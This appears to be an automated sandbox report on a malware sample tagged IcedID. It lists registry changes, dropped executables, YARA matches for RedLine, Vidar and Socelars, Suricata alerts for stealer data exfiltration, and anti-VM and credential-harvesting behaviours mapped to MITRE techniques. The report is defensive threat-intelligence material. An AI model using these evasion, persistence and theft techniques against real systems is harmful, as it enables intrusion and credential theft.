icedid | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

Change Default File Association

T1042

Processes:

OneDriveSetup.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4240	3032	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8260	3032	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8348	3032	rundll32.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
behavioral7/memory/4784-244-0x0000000005730000-0x000000000574D000-memory.dmp	family_redline
behavioral7/memory/1128-322-0x000000000041C5DA-mapping.dmp	family_redline
behavioral7/memory/1628-330-0x000000000041C5E2-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19262b9e49ad.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\Sun19262b9e49ad.exe	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 7404 created 4448 7404 WerFault.exe Sun19de8ff4b6aefeb8.exe

description	pid	process	target process
PID 7404 created 4448	7404	WerFault.exe	Sun19de8ff4b6aefeb8.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 352 created 788	352	svchost.exe	cnk4wNzo39VsBflWRCRKKviU.exe
PID 352 created 6364	352	svchost.exe	LzmwAqmV.exe
PID 352 created 7256	352	svchost.exe	OneDriveSetup.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral7/memory/4556-239-0x0000000000970000-0x0000000000A44000-memory.dmp	family_vidar
behavioral7/memory/4556-241-0x0000000000400000-0x00000000004D7000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libcurlpp.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libcurlpp.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS89D2BAF0\libstdc++-6.dll	aspack_v212_v242

Blocklisted process makes network request 22 IoCs

Processes:

cmd.execmd.exeschtasks.exeschtasks.execmd.exepowershell.exeschtasks.execmd.execmd.exeWMIC.exerundll32.exe

flow	pid	process
155	4240	cmd.exe
157	5496	cmd.exe
161	5496	cmd.exe
164	5496	cmd.exe
165	6308	schtasks.exe
167	5496	cmd.exe
180	5496	cmd.exe
182	5496	cmd.exe
183	5496	cmd.exe
184	5496	cmd.exe
204	6428	schtasks.exe
206	6428	schtasks.exe
230	4240	cmd.exe
235	2184	cmd.exe
240	6308	schtasks.exe
251	2184	cmd.exe
258	6512	powershell.exe
265	4056	schtasks.exe
341	5904	cmd.exe
361	7396	cmd.exe
438	6588	WMIC.exe
468	2948	rundll32.exe

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeSun19e4ade31b2a.exeSun19262b9e49ad.exeSun1908b94df837b3158.exeSun1917b8fb5f09db8.exeSun191101c1aaa.exeSun193fda712d9f1.exeSun19de8ff4b6aefeb8.exeSun1905815e51282417.exeSun19eb40faaaa9.exeSun1966fb31dd5a07.exeSun1966fb31dd5a07.tmpSun198361825f4.exeSun195a1614ec24e6a.exeZe2ro.exetmpE9F2_tmp.exe3745972.scrLzmwAqmV.exe7209643.scrChrome 5.exe3781340.scrPublicDwlBrowser1100.exeOD0e14SBBZliRZ27CZuHN6LJ.exe2.exesetup.exe7576774.scrudptest.exe3781340.scr5.exetmpE9F2_tmp.exeLivelyScreenRecF18.exeConhost.exe3002.exeyBD7FSosC38eayJY9mILOQCc.exeELmkNGot1xqLUuo3BwIYbMWD.exepY_wDn8FGOHM6IwpAV2xsEfl.exeforfiles.exejhuuee.exeVe704qxR6dWELrrDYFMDJv04.exeBearVpn 3.exezQDKpiaKcfYU3gXEL7wYq44A.exeQl_36dLXXmKvLG7TUWIE076z.exemqZAtDx1SQybmKzRvDk9vSly.execnk4wNzo39VsBflWRCRKKviU.exeufwd4oveAP5wqqZiE00Cyq4W.exeCj2wYUqrhExEa_p_PNBBR1Ta.exe2PxE4GGl9DYY9cPBnPuTDeuD.exesetup_2.exenIzz2MT7R9vZWZ1n46kaQqqq.exebwRPCmyyuAeF3udhCXK92Wuk.exesetup_2.tmpr88JhS3F0W6S70zSplpXd6Qs.exeloCYxj9nt_WnT28KJk9m0uta.exelYA6OhZfjX_IiRsLAxhYCDL8.exeCwrwa2OnuYMrpTfVzpqKevNp.exe0FyG6eibBzsyIHKxbZFN7N2s.execm3.exeschtasks.exeWerFault.exef.exewwi.exenIzz2MT7R9vZWZ1n46kaQqqq.exe4167264.exe

pid	process
3480	setup_installer.exe
4016	setup_install.exe
4188	Sun19e4ade31b2a.exe
4200	Sun19262b9e49ad.exe
4236	Sun1908b94df837b3158.exe
4228	Sun1917b8fb5f09db8.exe
4268	Sun191101c1aaa.exe
4288	Sun193fda712d9f1.exe
4448	Sun19de8ff4b6aefeb8.exe
4504	Sun1905815e51282417.exe
4556	Sun19eb40faaaa9.exe
4584	Sun1966fb31dd5a07.exe
4760	Sun1966fb31dd5a07.tmp
4772	Sun198361825f4.exe
4784	Sun195a1614ec24e6a.exe
5084	Ze2ro.exe
3356	tmpE9F2_tmp.exe
4600	3745972.scr
3944	LzmwAqmV.exe
648	7209643.scr
780	Chrome 5.exe
860	3781340.scr
4648	PublicDwlBrowser1100.exe
1244	OD0e14SBBZliRZ27CZuHN6LJ.exe
1720	2.exe
2412	setup.exe
2684	7576774.scr
4080	udptest.exe
1128	3781340.scr
2144	5.exe
1628	tmpE9F2_tmp.exe
4740	LivelyScreenRecF18.exe
5236	Conhost.exe
5428	3002.exe
5496	yBD7FSosC38eayJY9mILOQCc.exe
5508	ELmkNGot1xqLUuo3BwIYbMWD.exe
5728	pY_wDn8FGOHM6IwpAV2xsEfl.exe
5796	forfiles.exe
5808	jhuuee.exe
6064	Ve704qxR6dWELrrDYFMDJv04.exe
4172	BearVpn 3.exe
5280	zQDKpiaKcfYU3gXEL7wYq44A.exe
1540	Ql_36dLXXmKvLG7TUWIE076z.exe
3516	mqZAtDx1SQybmKzRvDk9vSly.exe
788	cnk4wNzo39VsBflWRCRKKviU.exe
5888	ufwd4oveAP5wqqZiE00Cyq4W.exe
5412	Cj2wYUqrhExEa_p_PNBBR1Ta.exe
2300	2PxE4GGl9DYY9cPBnPuTDeuD.exe
4492	setup_2.exe
4280	nIzz2MT7R9vZWZ1n46kaQqqq.exe
4308	bwRPCmyyuAeF3udhCXK92Wuk.exe
5436	setup_2.tmp
6280	r88JhS3F0W6S70zSplpXd6Qs.exe
6300	loCYxj9nt_WnT28KJk9m0uta.exe
6308	lYA6OhZfjX_IiRsLAxhYCDL8.exe
6404	Cwrwa2OnuYMrpTfVzpqKevNp.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
6420	cm3.exe
6428	schtasks.exe
6436	WerFault.exe
6924	f.exe
7004	wwi.exe
6992	nIzz2MT7R9vZWZ1n46kaQqqq.exe
7076	4167264.exe

Checks BIOS information in registry 2 TTPs 36 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

7576774.scrpY_wDn8FGOHM6IwpAV2xsEfl.exe0FyG6eibBzsyIHKxbZFN7N2s.exewi6Q8OpmIhQZPLTnGf2i4ckM.exe6bmOil5kPQtDDuy8EnUIWPil.exeCA92.exewwl.exe6461779.scrELmkNGot1xqLUuo3BwIYbMWD.exeCwrwa2OnuYMrpTfVzpqKevNp.exewwi.exe5343748.exe4803149.scr7209643.scr2102962.exeInstall.exerundll32.exeschtasks.exeD87D.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7576774.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	pY_wDn8FGOHM6IwpAV2xsEfl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0FyG6eibBzsyIHKxbZFN7N2s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wi6Q8OpmIhQZPLTnGf2i4ckM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6bmOil5kPQtDDuy8EnUIWPil.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	CA92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wwl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6461779.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ELmkNGot1xqLUuo3BwIYbMWD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Cwrwa2OnuYMrpTfVzpqKevNp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wwi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5343748.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4803149.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7209643.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wwl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wwi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wi6Q8OpmIhQZPLTnGf2i4ckM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	CA92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ELmkNGot1xqLUuo3BwIYbMWD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6bmOil5kPQtDDuy8EnUIWPil.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2102962.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2102962.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4803149.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7209643.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	pY_wDn8FGOHM6IwpAV2xsEfl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Cwrwa2OnuYMrpTfVzpqKevNp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0FyG6eibBzsyIHKxbZFN7N2s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	schtasks.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	schtasks.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5343748.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	D87D.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	D87D.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7576774.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6461779.scr

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Sun1917b8fb5f09db8.exeqT3dWYBP7ZsuOrwW4ZcUbjl6.exeRaHQuAK.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	RaHQuAK.exe

Loads dropped DLL 40 IoCs

Processes:

setup_install.exeSun1966fb31dd5a07.tmprundll32.exeforfiles.exeufwd4oveAP5wqqZiE00Cyq4W.exesetup_2.tmpVe704qxR6dWELrrDYFMDJv04.exe0FyG6eibBzsyIHKxbZFN7N2s.exeregsvr32.exeregsvr32.exerundll32.exeA4AE.exeregsvr32.exeregsvr32.exerundll32.exe3833.exerundll32.exeFileSyncConfig.exe

pid	process
4016	setup_install.exe
4016	setup_install.exe
4016	setup_install.exe
4016	setup_install.exe
4016	setup_install.exe
4016	setup_install.exe
4760	Sun1966fb31dd5a07.tmp
2692	rundll32.exe
5796	forfiles.exe
5888	ufwd4oveAP5wqqZiE00Cyq4W.exe
5436	setup_2.tmp
6064	Ve704qxR6dWELrrDYFMDJv04.exe
6064	Ve704qxR6dWELrrDYFMDJv04.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
6412	0FyG6eibBzsyIHKxbZFN7N2s.exe
8388	regsvr32.exe
8428	regsvr32.exe
8348	rundll32.exe
4792	A4AE.exe
4792	A4AE.exe
4792	A4AE.exe
4792	A4AE.exe
4792	A4AE.exe
5556	regsvr32.exe
9152	regsvr32.exe
2632	rundll32.exe
4244	3833.exe
4244	3833.exe
4244	3833.exe
4244	3833.exe
4244	3833.exe
2948	rundll32.exe
8920	FileSyncConfig.exe
8920	FileSyncConfig.exe
8920	FileSyncConfig.exe
8920	FileSyncConfig.exe
8920	FileSyncConfig.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\7209643.scr	themida
C:\Users\Admin\AppData\Roaming\7209643.scr	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

OneDriveSetup.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 17 IoCs

evasion trojan

System Information Discovery

Processes:

D87D.exewwl.exewwi.exewi6Q8OpmIhQZPLTnGf2i4ckM.exe6461779.scrELmkNGot1xqLUuo3BwIYbMWD.exelYA6OhZfjX_IiRsLAxhYCDL8.exe4803149.scrCA92.exe7209643.scrCwrwa2OnuYMrpTfVzpqKevNp.exe0FyG6eibBzsyIHKxbZFN7N2s.exe5343748.exe7576774.scrpY_wDn8FGOHM6IwpAV2xsEfl.exe6bmOil5kPQtDDuy8EnUIWPil.exe2102962.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	D87D.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wwl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wwi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wi6Q8OpmIhQZPLTnGf2i4ckM.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6461779.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ELmkNGot1xqLUuo3BwIYbMWD.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lYA6OhZfjX_IiRsLAxhYCDL8.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4803149.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	CA92.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7209643.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Cwrwa2OnuYMrpTfVzpqKevNp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0FyG6eibBzsyIHKxbZFN7N2s.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5343748.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7576774.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pY_wDn8FGOHM6IwpAV2xsEfl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6bmOil5kPQtDDuy8EnUIWPil.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2102962.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

RaHQuAK.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini RaHQuAK.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

304 ipinfo.io
16 ip-api.com
32 ipinfo.io
33 ipinfo.io
166 ipinfo.io
167 ipinfo.io
303 ipinfo.io

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	RaHQuAK.exe

flow	ioc
304	ipinfo.io
16	ip-api.com
32	ipinfo.io
33	ipinfo.io
166	ipinfo.io
167	ipinfo.io
303	ipinfo.io

Drops file in System32 directory 52 IoCs

Processes:

svchost.exepowershell.exeRaHQuAK.exesvchost.exeConhost.exetVitMcR.exeConhost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exerundll32.exeInstall.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	RaHQuAK.exe
File opened for modification	C:\Windows\System32\Tasks\PcFGIyIlUJyYablHCHc2	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	Conhost.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	tVitMcR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	Conhost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6	RaHQuAK.exe
File opened for modification	C:\Windows\System32\Tasks\dqMFPCMVHmhnSY	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\gdlTlvZfIMOZAvCeb2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\spuUnRNcJeWL	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	svchost.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	tVitMcR.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\ArGDBXWmyYtLacf	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	RaHQuAK.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 35B44357D9454A6B	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\bRciptYQhTCMvEFWGJ	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	Conhost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\grCZRVZpm	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\xsEpqqHAgqAwsAroz	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\gRBwliqJK	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	RaHQuAK.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	RaHQuAK.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	RaHQuAK.exe
File opened for modification	C:\Windows\System32\Tasks\ArGDBXWmyYtLacf2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\sOuBCsGGBJoge2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\PowerControl HR	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
